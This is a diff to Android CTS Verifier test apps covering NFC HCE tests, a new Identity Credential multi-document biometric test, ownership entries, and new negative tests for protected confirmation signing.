--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
@@ -25,7 +25,9 @@
 
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.os.Build;
 import android.os.Bundle;
+import android.os.SystemProperties;
 
 /** Activity that lists all the NFC HCE reader tests. */
 public class HceReaderTestActivity extends PassFailButtons.TestListActivity {
@@ -121,14 +123,17 @@
                         ConflictingNonPaymentPrefixEmulatorActivity.buildReaderIntent(this), null));
             }
 
-            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_reader,
-                    getString(R.string.nfc_screen_on_only_offhost_reader),
-                    ScreenOnOnlyOffHostEmulatorActivity.buildReaderIntent(this), null));
+            int firstSdk =
+                    SystemProperties.getInt("ro.product.first_api_level", Build.VERSION_CODES.S);
+            if (firstSdk >= Build.VERSION_CODES.S) {
+                adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_reader,
+                        getString(R.string.nfc_screen_on_only_offhost_reader),
+                        ScreenOnOnlyOffHostEmulatorActivity.buildReaderIntent(this), null));
 
-            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_reader,
-                    getString(R.string.nfc_screen_off_hce_payment_reader),
-                    ScreenOffPaymentEmulatorActivity.buildReaderIntent(this), null));
-
+                adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_reader,
+                        getString(R.string.nfc_screen_off_hce_payment_reader),
+                        ScreenOffPaymentEmulatorActivity.buildReaderIntent(this), null));
+            }
         }
 
         setTestListAdapter(adapter);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java
index 50a97e6..557170d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java
@@ -1,10 +1,13 @@
 package com.android.cts.verifier.nfc.hce;
 
+import android.app.Dialog;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.nfc.NfcAdapter;
+import android.nfc.NfcManager;
 import android.os.Bundle;
 
 import com.android.cts.verifier.R;
@@ -13,9 +16,11 @@
 public class ScreenOffPaymentEmulatorActivity extends BaseEmulatorActivity {
     final static int STATE_SCREEN_ON = 0;
     final static int STATE_SCREEN_OFF = 1;
+    private static final int SECURE_NFC_ENABLED_DIALOG_ID = 1;
     private int mState = STATE_SCREEN_ON;
 
     private ScreenOnOffReceiver mReceiver;
+    private NfcAdapter mNfcAdapter;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -31,11 +36,17 @@
         filter.addAction(Intent.ACTION_SCREEN_OFF);
         filter.addAction(Intent.ACTION_SCREEN_ON);
         registerReceiver(mReceiver, filter);
+
+        NfcManager nfcManager = getSystemService(NfcManager.class);
+        mNfcAdapter = nfcManager.getDefaultAdapter();
     }
 
     @Override
     protected void onResume() {
         super.onResume();
+        if (mNfcAdapter.isSecureNfcSupported() && mNfcAdapter.isSecureNfcEnabled()) {
+            showDialog(SECURE_NFC_ENABLED_DIALOG_ID);
+        }
     }
 
     @Override
@@ -86,6 +97,16 @@
         }
     }
 
+    @Override
+    public Dialog onCreateDialog(int id, Bundle args) {
+        switch (id) {
+            case SECURE_NFC_ENABLED_DIALOG_ID:
+                return NfcDialogs.createSecureNfcEnabledDialog(this);
+            default:
+                return super.onCreateDialog(id, args);
+        }
+    }
+
     private class ScreenOnOffReceiver extends BroadcastReceiver {
         @Override
         public void onReceive(Context context, Intent intent) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
index 7df5b4f..9814ddc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
@@ -16,15 +16,16 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
+import android.annotation.TargetApi;
 import android.app.AlertDialog;
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.nfc.NfcAdapter;
 import android.nfc.NfcAdapter.ReaderCallback;
-import android.nfc.Tag;
 import android.nfc.tech.IsoDep;
 import android.nfc.tech.NfcA;
 import android.nfc.tech.NfcB;
+import android.nfc.Tag;
 import android.os.Bundle;
 import android.os.Parcelable;
 import android.util.Log;
@@ -37,12 +38,13 @@
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.nfc.hce.CommandApdu;
-import com.android.cts.verifier.nfc.hce.HceUtils;
 
 import java.io.IOException;
 import java.util.Arrays;
 
+import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+
 public class SimpleOffhostReaderActivity extends PassFailButtons.Activity implements ReaderCallback,
         OnItemSelectedListener {
     public static final String PREFS_NAME = "OffhostTypePrefs";
@@ -120,10 +122,10 @@
         int count = 0;
 
         try {
-            if (mDeselect) {
+            if(mDeselect) {
                 mIsTypeB = mPrefs.getBoolean("typeB", false);
                 // Use FrameRF for deselect test case
-                if (mIsTypeB) {
+                if(mIsTypeB) {
                     NfcB nfcb = NfcB.get(tag);
                     if (nfcb == null) {
                         // TODO dialog box
@@ -141,14 +143,14 @@
                         return;
                     }
                     byte[] attrib = new byte[tagIdLen + 5];
-                    attrib[0] = (byte) 0x1d;
-                    for (int i = 0; i < tagIdLen; i++) {
-                        attrib[1 + i] = tagId[i];
+                    attrib[0] = (byte)0x1d;
+                    for(int i = 0; i < tagIdLen; i ++) {
+                        attrib[1+i] = tagId[i];
                     }
-                    attrib[tagIdLen + 1] = 0x00;
-                    attrib[tagIdLen + 2] = 0x08;
-                    attrib[tagIdLen + 3] = 0x01;
-                    attrib[tagIdLen + 4] = 0x00;
+                    attrib[tagIdLen+1] = 0x00;
+                    attrib[tagIdLen+2] = 0x08;
+                    attrib[tagIdLen+3] = 0x01;
+                    attrib[tagIdLen+4] = 0x00;
                     nfcb.transceive(attrib);
 
                     count = 0;
@@ -260,8 +262,8 @@
 
     private boolean responseCheck(StringBuilder sb, byte[] response, int count,
             long apduStartTime, long apduEndTime) {
-        sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime)
-                + " ms):\n");
+        sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime) +
+                " ms):\n");
         sb.append(HceUtils.getHexBytes(null, response));
         sb.append("\n\n\n");
         boolean wildCard = "*".equals(mResponses[count]);
@@ -274,8 +276,8 @@
         }
 
         if (!wildCard && !Arrays.equals(response, expectedResponse)) {
-            Log.d(TAG, "Unexpected APDU response: "
-                    + HceUtils.getHexBytes("", response));
+            Log.d(TAG, "Unexpected APDU response: " +
+                                HceUtils.getHexBytes("", response));
             return false;
         }
         return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
index e04717c..7c7148a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
@@ -18,8 +18,8 @@
 
 import android.content.ComponentName;
 
-import com.android.cts.verifier.nfc.hce.CommandApdu;
 import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
 
 public class UiccTransactionEvent2Service {
     public static final ComponentName COMPONENT =
@@ -27,8 +27,8 @@
                     UiccTransactionEvent2Service.class.getName());
 
     public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
-        HceUtils.buildCommandApdu("02"
-                + HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true).getApdu(), true),
+        HceUtils.buildCommandApdu("02" +
+                HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true).getApdu(), true),
     };
 
     public static final String[] APDU_RESPOND_SEQUENCE = {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 1fe5060..7a37a0b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -453,7 +453,7 @@
         if (Arrays.equals(expected, actual)) {
             return true;
         }
-        logWithStack(String.format(message, expected, actual));
+        logWithStack(String.format(message, Arrays.toString(expected), Arrays.toString(actual)));
         return false;
     }
 
@@ -461,7 +461,7 @@
         if (Arrays.equals(expected, actual)) {
             return true;
         }
-        logWithStack(String.format(message, expected, actual));
+        logWithStack(String.format(message, Arrays.toString(expected), Arrays.toString(actual)));
         return false;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 542fb36..f3e2680 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -15,10 +15,6 @@
  */
 package com.android.cts.verifier.p2p;
 
-import java.util.Collection;
-import java.util.Timer;
-import java.util.TimerTask;
-
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
@@ -40,6 +36,10 @@
 import com.android.cts.verifier.p2p.testcase.TestCase;
 import com.android.cts.verifier.p2p.testcase.TestCase.TestCaseListener;
 
+import java.util.Collection;
+import java.util.Timer;
+import java.util.TimerTask;
+
 /**
  * A base class for requester test activity.
  *
@@ -135,8 +135,8 @@
     }
 
     @Override
-    protected void onResume() {
-        super.onResume();
+    protected void onStart() {
+        super.onStart();
         /*
          * If the target device is NOT set, search targets and show
          * the target device list on the dialog.
@@ -152,8 +152,8 @@
     }
 
     @Override
-    protected void onPause() {
-        super.onPause();
+    protected void onStop() {
+        super.onStop();
         if (mTimer != null) {
             mTimer.cancel();
             mTimer = null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
index 39f0bf8..405d4be 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
@@ -101,8 +101,8 @@
     }
 
     @Override
-    protected void onResume() {
-        super.onResume();
+    protected void onStart() {
+        super.onStart();
         mTestCase.start(this);
         registerReceiver(mReceiver, mIntentFilter);
         mP2pMgr.requestDeviceInfo(mChannel, wifiP2pDevice -> {
@@ -119,8 +119,8 @@
     }
 
     @Override
-    protected void onPause() {
-        super.onPause();
+    protected void onStop() {
+        super.onStop();
         mTestCase.stop();
         unregisterReceiver(mReceiver);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
new file mode 100644
index 0000000..d68c5b6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import android.Manifest;
+import android.app.KeyguardManager;
+import android.content.pm.PackageManager;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricManager.Authenticators;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricPrompt.AuthenticationCallback;
+import android.hardware.biometrics.BiometricPrompt.AuthenticationResult;
+import android.hardware.biometrics.BiometricPrompt.CryptoObject;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.security.identity.AccessControlProfile;
+import android.security.identity.AccessControlProfileId;
+import android.security.identity.CredentialDataRequest;
+import android.security.identity.CredentialDataResult;
+import android.security.identity.IdentityCredential;
+import android.security.identity.IdentityCredentialStore;
+import android.security.identity.PersonalizationData;
+import android.security.identity.PresentationSession;
+import android.security.identity.WritableIdentityCredential;
+import android.util.Log;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.LinkedHashMap;
+import java.util.LinkedList;
+import java.util.Map;
+
+/**
+ * @hide
+ */
+public class IdentityCredentialAuthenticationMultiDocument extends PassFailButtons.Activity {
+    private static final boolean DEBUG = false;
+    private static final String TAG = "IdentityCredentialAuthenticationMultiDocument";
+
+    private static final int BIOMETRIC_REQUEST_PERMISSION_CODE = 0;
+
+    private BiometricManager mBiometricManager;
+    private KeyguardManager mKeyguardManager;
+
+    protected int getTitleRes() {
+        return R.string.sec_identity_credential_authentication_multi_document_test;
+    }
+
+    private int getDescriptionRes() {
+        return R.string.sec_identity_credential_authentication_multi_document_test_info;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.sec_screen_lock_keys_main);
+        setPassFailButtonClickListeners();
+        setInfoResources(getTitleRes(), getDescriptionRes(), -1);
+        getPassButton().setEnabled(false);
+        requestPermissions(new String[]{Manifest.permission.USE_BIOMETRIC},
+                BIOMETRIC_REQUEST_PERMISSION_CODE);
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] state) {
+        if (requestCode == BIOMETRIC_REQUEST_PERMISSION_CODE
+                && state[0] == PackageManager.PERMISSION_GRANTED) {
+            mBiometricManager = getSystemService(BiometricManager.class);
+            mKeyguardManager = getSystemService(KeyguardManager.class);
+            Button startTestButton = findViewById(R.id.sec_start_test_button);
+
+            if (!mKeyguardManager.isKeyguardSecure()) {
+                // Show a message that the user hasn't set up a lock screen.
+                showToast("Secure lock screen hasn't been set up.\n Go to "
+                          + "'Settings -> Security -> Screen lock' to set up a lock screen");
+                startTestButton.setEnabled(false);
+                return;
+            }
+
+            startTestButton.setOnClickListener(v -> startTest());
+        }
+    }
+
+    protected void showToast(String message) {
+        Toast.makeText(this, message, Toast.LENGTH_LONG).show();
+        Log.i(TAG, "Showing Toast: " + message);
+    }
+
+    private void provisionCredential(IdentityCredentialStore store,
+                                     String credentialName) throws Exception {
+        store.deleteCredentialByName(credentialName);
+        WritableIdentityCredential wc = store.createCredential(
+                credentialName, "org.iso.18013-5.2019.mdl");
+
+        // 'Bar' encoded as CBOR tstr
+        byte[] barCbor = {0x63, 0x42, 0x61, 0x72};
+
+        AccessControlProfile acp = new AccessControlProfile.Builder(new AccessControlProfileId(0))
+                .setUserAuthenticationRequired(true)
+                .setUserAuthenticationTimeout(0)
+                .build();
+        LinkedList<AccessControlProfileId> idsProfile0 = new LinkedList<AccessControlProfileId>();
+        idsProfile0.add(new AccessControlProfileId(0));
+        PersonalizationData pd = new PersonalizationData.Builder()
+                                 .addAccessControlProfile(acp)
+                                 .putEntry("org.iso.18013-5.2019", "Foo", idsProfile0, barCbor)
+                                 .build();
+        byte[] proofOfProvisioningSignature = wc.personalize(pd);
+
+        // Create authentication keys.
+        IdentityCredential credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        credential.setAvailableAuthenticationKeys(1, 10);
+        Collection<X509Certificate> dynAuthKeyCerts = credential.getAuthKeysNeedingCertification();
+        credential.storeStaticAuthenticationData(dynAuthKeyCerts.iterator().next(), new byte[0]);
+    }
+
+    private int getFooStatus(PresentationSession session, String credentialName) throws Exception {
+        Map<String, Collection<String>> isEntriesToRequest = new LinkedHashMap<>();
+        isEntriesToRequest.put("org.iso.18013-5.2019", Arrays.asList("Foo"));
+
+        CredentialDataResult rd = session.getCredentialData(
+                credentialName,
+                new CredentialDataRequest.Builder()
+                .setIssuerSignedEntriesToRequest(isEntriesToRequest)
+                .build());
+        return rd.getIssuerSignedEntries().getStatus("org.iso.18013-5.2019", "Foo");
+    }
+
+    protected void startTest() {
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(this);
+        if (store == null) {
+            showToast("No Identity Credential support, test passed.");
+            getPassButton().setEnabled(true);
+            return;
+        }
+
+        final int result = mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_STRONG);
+        switch (result) {
+            case BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED:
+                showToast("No biometrics enrolled.\n"
+                        + "Go to 'Settings -> Security' to enroll");
+                Button startTestButton = findViewById(R.id.sec_start_test_button);
+                startTestButton.setEnabled(false);
+                return;
+            case BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE:
+                showToast("No strong biometrics, test passed.");
+                showToast("No Identity Credential support, test passed.");
+                getPassButton().setEnabled(true);
+                return;
+        }
+
+        try {
+            provisionCredential(store, "credential1");
+            provisionCredential(store, "credential2");
+
+            PresentationSession session = store.createPresentationSession(
+                    IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+            // First, check that Foo cannot be retrieved without authentication.
+            //
+            int status = getFooStatus(session, "credential1");
+            if (status != CredentialDataResult.Entries.STATUS_USER_AUTHENTICATION_FAILED) {
+                showToast("Unexpected credential1 pre-auth status "
+                          + status + " expected STATUS_USER_AUTHENTICATION_FAILED");
+                return;
+            }
+            status = getFooStatus(session, "credential2");
+            if (status != CredentialDataResult.Entries.STATUS_USER_AUTHENTICATION_FAILED) {
+                showToast("Unexpected credential2 pre-auth status "
+                          + status + " expected STATUS_USER_AUTHENTICATION_FAILED");
+                return;
+            }
+
+            // Try one more time, this time with a CryptoObject that we'll use with
+            // BiometricPrompt. This should work.
+            //
+            CryptoObject cryptoObject = new BiometricPrompt.CryptoObject(session);
+            BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
+            builder.setAllowedAuthenticators(Authenticators.BIOMETRIC_STRONG);
+            builder.setTitle("Identity Credential");
+            builder.setDescription("Authenticate to unlock multiple credentials.");
+            builder.setNegativeButton("Cancel",
+                    getMainExecutor(),
+                    (dialogInterface, i) -> showToast("Canceled biometric prompt."));
+            final BiometricPrompt prompt = builder.build();
+            final AuthenticationCallback callback = new AuthenticationCallback() {
+                @Override
+                public void onAuthenticationSucceeded(AuthenticationResult authResult) {
+                    try {
+                        // Check that Foo can be retrieved because we used
+                        // the CryptoObject to auth with.
+                        int status = getFooStatus(session, "credential1");
+                        if (status != CredentialDataResult.Entries.STATUS_OK) {
+                            showToast("Unexpected credential1 post-auth status "
+                                      + status + " expected STATUS_OK");
+                            return;
+                        }
+                        status = getFooStatus(session, "credential2");
+                        if (status != CredentialDataResult.Entries.STATUS_OK) {
+                            showToast("Unexpected credential2 post-auth status "
+                                      + status + " expected STATUS_OK");
+                            return;
+                        }
+
+                        // Finally, check that Foo cannot be retrieved again from another session
+                        PresentationSession anotherSession = store.createPresentationSession(
+                                IdentityCredentialStore
+                                    .CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+                        status = getFooStatus(anotherSession, "credential1");
+                        if (status
+                                != CredentialDataResult.Entries.STATUS_USER_AUTHENTICATION_FAILED) {
+                            showToast("Unexpected credential1 other session status "
+                                      + status + " expected STATUS_USER_AUTHENTICATION_FAILED");
+                            return;
+                        }
+                        status = getFooStatus(anotherSession, "credential2");
+                        if (status
+                                != CredentialDataResult.Entries.STATUS_USER_AUTHENTICATION_FAILED) {
+                            showToast("Unexpected credential2 other session status "
+                                      + status + " expected STATUS_USER_AUTHENTICATION_FAILED");
+                            return;
+                        }
+
+                        showToast("Test passed.");
+                        getPassButton().setEnabled(true);
+
+                    } catch (Exception e) {
+                        showToast("Unexpected exception " + e);
+                    }
+                }
+            };
+
+            prompt.authenticate(cryptoObject, new CancellationSignal(), getMainExecutor(),
+                    callback);
+        } catch (Exception e) {
+            showToast("Unexpection exception " + e);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
index 40ff6060..c0eb5b3d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -1,8 +1,10 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file CA*.java, Ca*.java, KeyChainTest.java
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
 # Bug template url: https://b.corp.google.com/issues/new?component=746324&template=1398789 = per-file: SecurityModeFeatureVerifierActivity.java
-# Bug component: 189335 = per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+# Bug component: 189335 = per-file FingerprintBoundKeysTest.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+# Bug component: 1084909 = per-file IdentityCredential*.java
 per-file CA*.java, Ca*.java, KeyChainTest.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
 per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
-per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
+per-file FingerprintBoundKeysTest.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
 per-file SecurityModeFeatureVerifierActivity.java = jjoslin@google.com, tomcherry@google.com
+per-file IdentityCredential*.java = zeuthen@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
index 8fb9e67..1b8bfc7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
@@ -55,6 +55,8 @@
     private static final String KEY_NAME = "my_confirmation_key";
     private boolean teeTestSuccess = false;
     private boolean strongboxTestSuccess = false;
+    private boolean mTeeNegativeTestSuccess = false;
+    private boolean mStrongboxNegativeTestSuccess = false;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -81,15 +83,19 @@
                 .setVisibility(View.INVISIBLE);
         findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
                 .setVisibility(View.INVISIBLE);
+        findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+                .setVisibility(View.INVISIBLE);
+        findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+                .setVisibility(View.INVISIBLE);
         Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
         startTestButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
-                showToast("Test running...");
+                showToast("TEE positive Test running...");
                 v.post(new Runnable() {
                     @Override
                     public void run() {
-                        runTest(false /* useStrongbox */);
+                        runTest(false /* useStrongbox */, true /* positiveScenario */);
                     }
                 });
             }
@@ -102,11 +108,11 @@
             startStrongboxTestButton.setOnClickListener(new OnClickListener() {
                 @Override
                 public void onClick(View v) {
-                    showToast("Test running...");
+                    showToast("Strongbox Positive Test running...");
                     v.post(new Runnable() {
                         @Override
                         public void run() {
-                            runTest(true /* useStrongbox */);
+                            runTest(true /* useStrongbox */, true /* positiveScenario */);
                         }
                     });
                 }
@@ -119,6 +125,44 @@
             strongboxTestSuccess = true;
         }
 
+        Button startNegativeTestButton =
+                                    (Button) findViewById(R.id.sec_start_tee_negative_test_button);
+        startNegativeTestButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                showToast("TEE negative Test running...");
+                v.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        runTest(false /* useStrongbox */, false /* positiveScenario */);
+                    }
+                });
+            }
+
+        });
+
+        Button startStrongboxNegativeTestButton =
+                (Button) findViewById(R.id.sec_start_test_strongbox_negative_button);
+        if (hasStrongbox) {
+            startStrongboxNegativeTestButton.setOnClickListener(new OnClickListener() {
+                @Override
+                public void onClick(View v) {
+                    showToast("Strongbox negative Test running...");
+                    v.post(new Runnable() {
+                        @Override
+                        public void run() {
+                            runTest(true /* useStrongbox */, false /* positiveScenario */);
+                        }
+                    });
+                }
+
+            });
+        } else {
+            startStrongboxTestButton.setVisibility(View.GONE);
+            // since strongbox is unavailable we mark the strongbox test as passed so that the tee
+            // test alone can make the test pass.
+            mStrongboxNegativeTestSuccess = true;
+        }
     }
 
     /**
@@ -150,37 +194,45 @@
         }
     }
 
-    private boolean trySign(byte[] dataThatWasConfirmed) {
+    private boolean trySign(byte[] dataThatWasConfirmed, boolean positiveScenario) {
         try {
             KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
             keyStore.load(null);
             KeyStore.Entry key = keyStore.getEntry(KEY_NAME, null);
             Signature s = Signature.getInstance("SHA256withECDSA");
             s.initSign(((KeyStore.PrivateKeyEntry) key).getPrivateKey());
+            if (!positiveScenario && dataThatWasConfirmed != null
+                    && dataThatWasConfirmed.length > 0) {
+                // The data received in callback as confirmed data has prompt text and extra data
+                // included. So even using same prompt text for signing could be considered as
+                // corrupted data.
+                dataThatWasConfirmed[0] = (byte) ~dataThatWasConfirmed[0];
+            }
             s.update(dataThatWasConfirmed);
             s.sign();
         } catch (CertificateException | KeyStoreException | IOException | NoSuchAlgorithmException |
                 UnrecoverableEntryException | InvalidKeyException e) {
             throw new RuntimeException("Failed to load confirmation key", e);
         } catch (SignatureException e) {
-            return false;
+            return !positiveScenario;
         }
-        return true;
+        return positiveScenario;
     }
 
-    private void runTest(boolean useStrongbox) {
+    private void runTest(boolean useStrongbox, boolean positiveScenario) {
         createKey(useStrongbox);
         if (trySign(getString(R.string.sec_protected_confirmation_message)
-                .getBytes())) {
+                .getBytes(), true /* positiveScenario */)) {
             showToast("Test failed. Key could sign without confirmation.");
         } else {
             showConfirmationPrompt(
                     getString(R.string.sec_protected_confirmation_message),
-                    useStrongbox);
+                    useStrongbox, positiveScenario);
         }
     }
 
-    private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox) {
+    private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox,
+                                        boolean positiveScenario) {
         ConfirmationPrompt.Builder builder = new ConfirmationPrompt.Builder(this);
         builder.setPromptText(confirmationMessage);
         builder.setExtraData(new byte[]{0x1, 0x02, 0x03});
@@ -191,10 +243,14 @@
                         @Override
                         public void onConfirmed(byte[] dataThatWasConfirmed) {
                             super.onConfirmed(dataThatWasConfirmed);
-                            if (trySign(dataThatWasConfirmed)) {
-                                markTestSuccess(useStrongbox);
+                            if (trySign(dataThatWasConfirmed, positiveScenario)) {
+                                markTestSuccess(useStrongbox, positiveScenario);
                             } else {
-                                showToast("Failed to sign confirmed message");
+                                if (positiveScenario) {
+                                    showToast("Failed to sign confirmed message");
+                                } else {
+                                    showToast("Failed! Corrupted data should not be signed.");
+                                }
                             }
                         }
 
@@ -227,21 +283,30 @@
                 .show();
     }
 
-    private void markTestSuccess(boolean strongbox) {
+    private void markTestSuccess(boolean strongbox, boolean positiveScenario) {
         if (strongbox) {
-            if (!strongboxTestSuccess) {
+            if (positiveScenario && !strongboxTestSuccess) {
                 findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
                         .setVisibility(View.VISIBLE);
+                strongboxTestSuccess = true;
+            } else if (!mStrongboxNegativeTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+                        .setVisibility(View.VISIBLE);
+                mStrongboxNegativeTestSuccess = true;
             }
-            strongboxTestSuccess = true;
         } else {
-            if (!teeTestSuccess) {
+            if (positiveScenario && !teeTestSuccess) {
                 findViewById(R.id.sec_protected_confirmation_tee_test_success)
                         .setVisibility(View.VISIBLE);
+                teeTestSuccess = true;
+            } else if (!mTeeNegativeTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+                        .setVisibility(View.VISIBLE);
+                mTeeNegativeTestSuccess = true;
             }
-            teeTestSuccess = true;
         }
-        if (strongboxTestSuccess && teeTestSuccess) {
+        if (strongboxTestSuccess && teeTestSuccess && mStrongboxNegativeTestSuccess
+                && mTeeNegativeTestSuccess) {
             showToast("Test passed.");
             getPassButton().setEnabled(true);
         }
